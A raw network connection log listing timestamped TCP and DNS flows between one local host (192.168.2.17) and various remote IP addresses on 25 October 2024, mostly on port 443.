Oct 25, 2024 10:15:45.704014063 CEST	49699	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:45.704025984 CEST	49700	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:45.704051018 CEST	443	49699	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.704109907 CEST	443	49700	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.752002001 CEST	49699	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:45.752002954 CEST	49700	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:46.726156950 CEST	443	49699	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:46.726258039 CEST	443	49699	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:46.726345062 CEST	49699	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:46.727454901 CEST	49699	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:46.727471113 CEST	443	49699	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:48.939225912 CEST	49702	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:15:48.939279079 CEST	443	49702	142.250.185.228	192.168.2.17
Oct 25, 2024 10:15:48.939353943 CEST	49702	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:15:48.939660072 CEST	49702	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:15:48.939677954 CEST	443	49702	142.250.185.228	192.168.2.17
Oct 25, 2024 10:15:49.833862066 CEST	443	49702	142.250.185.228	192.168.2.17
Oct 25, 2024 10:15:49.834300041 CEST	49702	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:15:49.834320068 CEST	443	49702	142.250.185.228	192.168.2.17
Oct 25, 2024 10:15:49.835812092 CEST	443	49702	142.250.185.228	192.168.2.17
Oct 25, 2024 10:15:49.835901976 CEST	49702	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:15:49.841861963 CEST	49702	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:15:49.842020988 CEST	443	49702	142.250.185.228	192.168.2.17
Oct 25, 2024 10:15:49.882993937 CEST	49702	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:15:49.883003950 CEST	443	49702	142.250.185.228	192.168.2.17
Oct 25, 2024 10:15:49.930991888 CEST	49702	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:15:53.773895025 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:53.773994923 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:53.774123907 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:53.775870085 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:53.775907040 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:54.592967987 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:54.593065023 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:54.596021891 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:54.596036911 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:54.596326113 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:54.636046886 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:55.309853077 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:55.351337910 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:55.629975080 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:55.630001068 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:55.630008936 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:55.630022049 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:55.630059958 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:55.630098104 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:55.630129099 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:55.630141973 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:55.630193949 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:55.630892038 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:55.630978107 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:55.630989075 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:55.631045103 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:56.281919956 CEST	49703	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:15:56.281960011 CEST	443	49703	20.109.210.53	192.168.2.17
Oct 25, 2024 10:15:56.767504930 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 25, 2024 10:15:57.071085930 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 25, 2024 10:15:57.678060055 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 25, 2024 10:15:58.892076015 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 25, 2024 10:15:58.972908020 CEST	49712	443	192.168.2.17	184.28.90.27
Oct 25, 2024 10:15:58.972950935 CEST	443	49712	184.28.90.27	192.168.2.17
Oct 25, 2024 10:15:58.973144054 CEST	49712	443	192.168.2.17	184.28.90.27
Oct 25, 2024 10:15:58.974365950 CEST	49712	443	192.168.2.17	184.28.90.27
Oct 25, 2024 10:15:58.974374056 CEST	443	49712	184.28.90.27	192.168.2.17
Oct 25, 2024 10:15:59.964612007 CEST	443	49702	142.250.185.228	192.168.2.17
Oct 25, 2024 10:15:59.964668989 CEST	443	49702	142.250.185.228	192.168.2.17
Oct 25, 2024 10:15:59.964740038 CEST	49702	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:15:59.976006985 CEST	443	49712	184.28.90.27	192.168.2.17
Oct 25, 2024 10:15:59.976092100 CEST	49712	443	192.168.2.17	184.28.90.27
Oct 25, 2024 10:15:59.979446888 CEST	49712	443	192.168.2.17	184.28.90.27
Oct 25, 2024 10:15:59.979455948 CEST	443	49712	184.28.90.27	192.168.2.17
Oct 25, 2024 10:15:59.979748011 CEST	443	49712	184.28.90.27	192.168.2.17
Oct 25, 2024 10:16:00.021847010 CEST	49712	443	192.168.2.17	184.28.90.27
Oct 25, 2024 10:16:00.067328930 CEST	443	49712	184.28.90.27	192.168.2.17
Oct 25, 2024 10:16:00.265095949 CEST	443	49712	184.28.90.27	192.168.2.17
Oct 25, 2024 10:16:00.265203953 CEST	443	49712	184.28.90.27	192.168.2.17
Oct 25, 2024 10:16:00.265300989 CEST	49712	443	192.168.2.17	184.28.90.27
Oct 25, 2024 10:16:00.265373945 CEST	49712	443	192.168.2.17	184.28.90.27
Oct 25, 2024 10:16:00.265398026 CEST	443	49712	184.28.90.27	192.168.2.17
Oct 25, 2024 10:16:00.265409946 CEST	49712	443	192.168.2.17	184.28.90.27
Oct 25, 2024 10:16:00.265415907 CEST	443	49712	184.28.90.27	192.168.2.17
Oct 25, 2024 10:16:00.281177044 CEST	49702	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:16:00.281220913 CEST	443	49702	142.250.185.228	192.168.2.17
Oct 25, 2024 10:16:00.309902906 CEST	58411	53	192.168.2.17	1.1.1.1
Oct 25, 2024 10:16:00.315336943 CEST	53	58411	1.1.1.1	192.168.2.17
Oct 25, 2024 10:16:00.315448999 CEST	58411	53	192.168.2.17	1.1.1.1
Oct 25, 2024 10:16:00.320826054 CEST	53	58411	1.1.1.1	192.168.2.17
Oct 25, 2024 10:16:00.906968117 CEST	58411	53	192.168.2.17	1.1.1.1
Oct 25, 2024 10:16:00.907625914 CEST	58412	443	192.168.2.17	173.223.108.114
Oct 25, 2024 10:16:00.907687902 CEST	443	58412	173.223.108.114	192.168.2.17
Oct 25, 2024 10:16:00.908994913 CEST	58412	443	192.168.2.17	173.223.108.114
Oct 25, 2024 10:16:00.909312010 CEST	58412	443	192.168.2.17	173.223.108.114
Oct 25, 2024 10:16:00.909327984 CEST	443	58412	173.223.108.114	192.168.2.17
Oct 25, 2024 10:16:00.912906885 CEST	53	58411	1.1.1.1	192.168.2.17
Oct 25, 2024 10:16:00.913011074 CEST	58411	53	192.168.2.17	1.1.1.1
Oct 25, 2024 10:16:00.918426991 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 25, 2024 10:16:01.219238043 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 25, 2024 10:16:01.295130968 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 25, 2024 10:16:01.513439894 CEST	443	58412	173.223.108.114	192.168.2.17
Oct 25, 2024 10:16:01.513566971 CEST	58412	443	192.168.2.17	173.223.108.114
Oct 25, 2024 10:16:01.514775038 CEST	58412	443	192.168.2.17	173.223.108.114
Oct 25, 2024 10:16:01.514796972 CEST	443	58412	173.223.108.114	192.168.2.17
Oct 25, 2024 10:16:01.515006065 CEST	443	58412	173.223.108.114	192.168.2.17
Oct 25, 2024 10:16:01.516117096 CEST	58412	443	192.168.2.17	173.223.108.114
Oct 25, 2024 10:16:01.563342094 CEST	443	58412	173.223.108.114	192.168.2.17
Oct 25, 2024 10:16:01.643229961 CEST	443	58412	173.223.108.114	192.168.2.17
Oct 25, 2024 10:16:01.643310070 CEST	443	58412	173.223.108.114	192.168.2.17
Oct 25, 2024 10:16:01.643404007 CEST	58412	443	192.168.2.17	173.223.108.114
Oct 25, 2024 10:16:01.644260883 CEST	58412	443	192.168.2.17	173.223.108.114
Oct 25, 2024 10:16:01.644294024 CEST	443	58412	173.223.108.114	192.168.2.17
Oct 25, 2024 10:16:01.644313097 CEST	58412	443	192.168.2.17	173.223.108.114
Oct 25, 2024 10:16:01.644320965 CEST	443	58412	173.223.108.114	192.168.2.17
Oct 25, 2024 10:16:01.833066940 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 25, 2024 10:16:03.048317909 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 25, 2024 10:16:05.459146023 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 25, 2024 10:16:06.095257998 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 25, 2024 10:16:09.383372068 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 25, 2024 10:16:09.686172962 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 25, 2024 10:16:10.262228966 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 25, 2024 10:16:10.294220924 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 25, 2024 10:16:11.498156071 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 25, 2024 10:16:13.911159992 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 25, 2024 10:16:15.702188969 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 25, 2024 10:16:18.721239090 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 25, 2024 10:16:19.867203951 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 25, 2024 10:16:24.424478054 CEST	58413	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:24.424519062 CEST	443	58413	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:24.424643993 CEST	58413	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:24.425045013 CEST	58413	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:24.425060987 CEST	443	58413	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:25.048301935 CEST	443	58413	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:25.048415899 CEST	58413	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:25.050582886 CEST	58413	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:25.050596952 CEST	443	58413	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:25.050947905 CEST	443	58413	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:25.061850071 CEST	58413	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:25.107323885 CEST	443	58413	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:25.643368006 CEST	443	58413	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:25.643462896 CEST	443	58413	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:25.643573046 CEST	58413	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:25.643641949 CEST	58413	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:25.643666983 CEST	443	58413	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:25.643682003 CEST	58413	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:25.643688917 CEST	443	58413	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:28.336395979 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 25, 2024 10:16:29.530303955 CEST	58414	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:29.530340910 CEST	443	58414	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:29.530442953 CEST	58414	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:29.531552076 CEST	58414	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:29.531569004 CEST	443	58414	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:29.919539928 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 25, 2024 10:16:29.925385952 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 25, 2024 10:16:30.046915054 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 25, 2024 10:16:30.046997070 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 25, 2024 10:16:30.048254967 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 25, 2024 10:16:30.048307896 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 25, 2024 10:16:30.048546076 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 25, 2024 10:16:30.048546076 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 25, 2024 10:16:30.048610926 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 25, 2024 10:16:30.053838015 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 25, 2024 10:16:30.053894043 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 25, 2024 10:16:30.054013968 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 25, 2024 10:16:30.054044962 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 25, 2024 10:16:30.054073095 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 25, 2024 10:16:30.054104090 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 25, 2024 10:16:30.142554998 CEST	443	58414	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:30.142648935 CEST	58414	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:30.143714905 CEST	58414	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:30.143722057 CEST	443	58414	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:30.144119024 CEST	443	58414	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:30.174349070 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 25, 2024 10:16:30.174427032 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 25, 2024 10:16:30.185523033 CEST	58414	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:30.206530094 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 25, 2024 10:16:30.206600904 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 25, 2024 10:16:30.231337070 CEST	443	58414	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:30.708266020 CEST	49700	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:16:30.708302975 CEST	443	49700	162.125.66.15	192.168.2.17
Oct 25, 2024 10:16:30.751555920 CEST	443	58414	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:30.751683950 CEST	443	58414	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:30.751750946 CEST	58414	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:30.751830101 CEST	58414	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:30.751847029 CEST	443	58414	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:30.751857996 CEST	58414	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:30.751863003 CEST	443	58414	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:30.914930105 CEST	58415	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:30.914958954 CEST	443	58415	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:30.915061951 CEST	58415	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:30.915482044 CEST	58415	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:30.915492058 CEST	443	58415	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:31.268624067 CEST	58416	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:31.268681049 CEST	443	58416	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:31.268760920 CEST	58416	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:31.269681931 CEST	58416	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:31.269699097 CEST	443	58416	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:31.533015013 CEST	443	58415	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:31.533097982 CEST	58415	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:31.534353018 CEST	58415	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:31.534363985 CEST	443	58415	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:31.534696102 CEST	443	58415	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:31.535871983 CEST	58415	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:31.583327055 CEST	443	58415	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:31.824536085 CEST	443	58415	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:31.824651003 CEST	443	58415	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:31.824723959 CEST	58415	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:31.824954033 CEST	58415	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:31.824969053 CEST	443	58415	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:31.824980974 CEST	58415	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:31.824985981 CEST	443	58415	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:31.874780893 CEST	58417	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:31.874825954 CEST	443	58417	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:31.874912977 CEST	58417	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:31.875108957 CEST	58417	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:31.875128984 CEST	443	58417	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:32.206116915 CEST	58418	443	192.168.2.17	13.107.5.88
Oct 25, 2024 10:16:32.206139088 CEST	443	58418	13.107.5.88	192.168.2.17
Oct 25, 2024 10:16:32.206279993 CEST	58418	443	192.168.2.17	13.107.5.88
Oct 25, 2024 10:16:32.364118099 CEST	443	58416	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:32.364207029 CEST	58416	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:32.368475914 CEST	58418	443	192.168.2.17	13.107.5.88
Oct 25, 2024 10:16:32.368501902 CEST	443	58418	13.107.5.88	192.168.2.17
Oct 25, 2024 10:16:32.411205053 CEST	58416	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:32.411237955 CEST	443	58416	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:32.412214041 CEST	443	58416	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:32.413614035 CEST	58416	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:32.413661957 CEST	58416	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:32.413786888 CEST	443	58416	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:32.495183945 CEST	443	58417	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:32.495717049 CEST	58417	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:32.495748043 CEST	443	58417	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:32.496388912 CEST	58417	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:32.496397018 CEST	443	58417	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:32.621491909 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:32.621546030 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:32.621656895 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:32.621990919 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:32.622004032 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:32.791589022 CEST	443	58417	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:32.791666031 CEST	443	58417	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:32.791887999 CEST	58417	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:32.791991949 CEST	58417	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:32.792011023 CEST	443	58417	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:32.792025089 CEST	58417	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:32.792032003 CEST	443	58417	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:32.796850920 CEST	58420	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:32.796894073 CEST	443	58420	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:32.796988964 CEST	58420	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:32.797151089 CEST	58420	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:32.797163963 CEST	443	58420	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:32.837270975 CEST	443	58416	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:32.837337971 CEST	443	58416	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:32.837378025 CEST	443	58416	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:32.837419033 CEST	58416	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:32.837452888 CEST	443	58416	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:32.837471008 CEST	58416	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:32.837898016 CEST	58416	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:32.837918043 CEST	58416	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:32.838227034 CEST	443	58416	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:32.838308096 CEST	443	58416	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:32.838510990 CEST	58416	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:33.086816072 CEST	58421	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:33.086864948 CEST	443	58421	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:33.086973906 CEST	58421	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:33.087290049 CEST	58421	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:33.087318897 CEST	443	58421	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:33.151969910 CEST	443	58418	13.107.5.88	192.168.2.17
Oct 25, 2024 10:16:33.152048111 CEST	58418	443	192.168.2.17	13.107.5.88
Oct 25, 2024 10:16:33.155282021 CEST	58418	443	192.168.2.17	13.107.5.88
Oct 25, 2024 10:16:33.155292034 CEST	443	58418	13.107.5.88	192.168.2.17
Oct 25, 2024 10:16:33.155880928 CEST	443	58418	13.107.5.88	192.168.2.17
Oct 25, 2024 10:16:33.199259043 CEST	58418	443	192.168.2.17	13.107.5.88
Oct 25, 2024 10:16:33.261799097 CEST	58418	443	192.168.2.17	13.107.5.88
Oct 25, 2024 10:16:33.303363085 CEST	443	58418	13.107.5.88	192.168.2.17
Oct 25, 2024 10:16:33.394447088 CEST	443	58418	13.107.5.88	192.168.2.17
Oct 25, 2024 10:16:33.396044016 CEST	443	58418	13.107.5.88	192.168.2.17
Oct 25, 2024 10:16:33.396136999 CEST	58418	443	192.168.2.17	13.107.5.88
Oct 25, 2024 10:16:33.402549028 CEST	58418	443	192.168.2.17	13.107.5.88
Oct 25, 2024 10:16:33.410129070 CEST	443	58420	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:33.410834074 CEST	58420	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:33.410852909 CEST	443	58420	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:33.411624908 CEST	58420	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:33.411631107 CEST	443	58420	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:33.457787037 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.457879066 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:33.459434986 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:33.459450006 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.459774017 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.465965986 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:33.511332035 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.700009108 CEST	443	58420	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:33.700093985 CEST	443	58420	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:33.700177908 CEST	58420	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:33.700423956 CEST	58420	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:33.700437069 CEST	443	58420	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:33.700449944 CEST	58420	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:33.700457096 CEST	443	58420	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:33.742367029 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.742410898 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.742459059 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.742501974 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:33.742518902 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.742536068 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:33.742579937 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:33.743485928 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.743521929 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.743547916 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:33.743555069 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.743576050 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:33.744199038 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.744254112 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:33.745114088 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:33.745132923 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.745146036 CEST	58419	443	192.168.2.17	20.109.210.53
Oct 25, 2024 10:16:33.745152950 CEST	443	58419	20.109.210.53	192.168.2.17
Oct 25, 2024 10:16:33.768050909 CEST	58422	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:33.768091917 CEST	443	58422	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:33.768291950 CEST	58422	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:33.768409967 CEST	58422	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:33.768419027 CEST	443	58422	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:34.175014973 CEST	443	58421	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:34.175101042 CEST	58421	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:34.184499979 CEST	58421	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:34.184535027 CEST	443	58421	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:34.185327053 CEST	443	58421	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:34.185831070 CEST	58421	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:34.185908079 CEST	58421	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:34.186045885 CEST	443	58421	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:34.388904095 CEST	443	58422	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:34.389508009 CEST	58422	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:34.389529943 CEST	443	58422	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:34.390165091 CEST	58422	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:34.390168905 CEST	443	58422	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:34.611283064 CEST	443	58421	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:34.611371994 CEST	443	58421	40.126.31.73	192.168.2.17
